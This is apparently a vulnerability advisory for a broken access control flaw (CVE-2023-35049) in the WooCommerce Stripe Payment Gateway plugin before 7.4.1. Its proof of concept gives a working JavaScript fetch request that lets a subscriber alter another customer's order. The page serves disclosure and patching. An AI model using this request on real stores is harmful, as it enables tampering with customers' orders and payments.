WooCommerce Stripe Payment Gateway < 7.4.1 – Subscriber+ Order Intent Update | CVE 2023-35049 | Plugin Vulnerabilities

Description

The plugin does not properly restrict users from making a certain set of changes to other customers' orders.

Proof of Concept

Affected functions:
create_payment_intent_ajax
update_payment_intent_ajax
save_upe_appearance_ajax
update_order_status_ajax
update_failed_order_ajax

As a subscriber, go to the cart page (ie https://example/cart/) and grab the updateFailedOrderNonce nonce, then perform the below request (42 being a Completed Order ID)

fetch("/cart/?wc-ajax=wc_stripe_update_failed_order", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": 'order_id=42&_wpnonce=NONCE&intent_id=1',
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

Affects Plugins

woocommerce-gateway-stripe

Fixed in 7.4.1

References

CVE

URL

https://hackerone.com/reports/1949357

URL

https://patchstack.com/database/vulnerability/woocommerce-gateway-stripe/wordpress-woocommerce-stripe-payment-gateway-plugin-7-4-0-unauthenticated-broken-access-control-vulnerability

Classification

Type

NO AUTHORISATION

OWASP top 10

A5: Broken Access Control

CWE

CVSS

Miscellaneous

Original Researcher

Rafie Muhammad

Verified

Yes

WPVDB ID

bde23a65-476d-411b-a0d3-f2b9d7112c01

Timeline

Publicly Published

2023-06-26 (about 2 years ago)

Added

2023-06-26 (about 2 years ago)

Last Updated

2024-01-04 (about 2 years ago)

Other

Published

Title

Published

2026-01-27

Title

Aardvark <= 2.19 - Missing Authorization

Published

2024-11-25

Title

Hustle – Email Marketing, Lead Generation, Optins, Popups < 7.8.6 - Missing Authorization to Unpublished Form Exposure

Published

2024-12-18

Title

Instantio < 3.3.8 - Missing Authorization to Unauthenticated Settings Update

Published

2025-02-28

Title

BuddyPress WooCommerce My Account Integration. Create WooCommerce Member Pages < 3.4.26 - Cross-Site Request Forgery to Limited Settings Update

Published

2022-06-30

Title

Accordions < 2.0.3 - Unauthenticated Arbitrary Options Update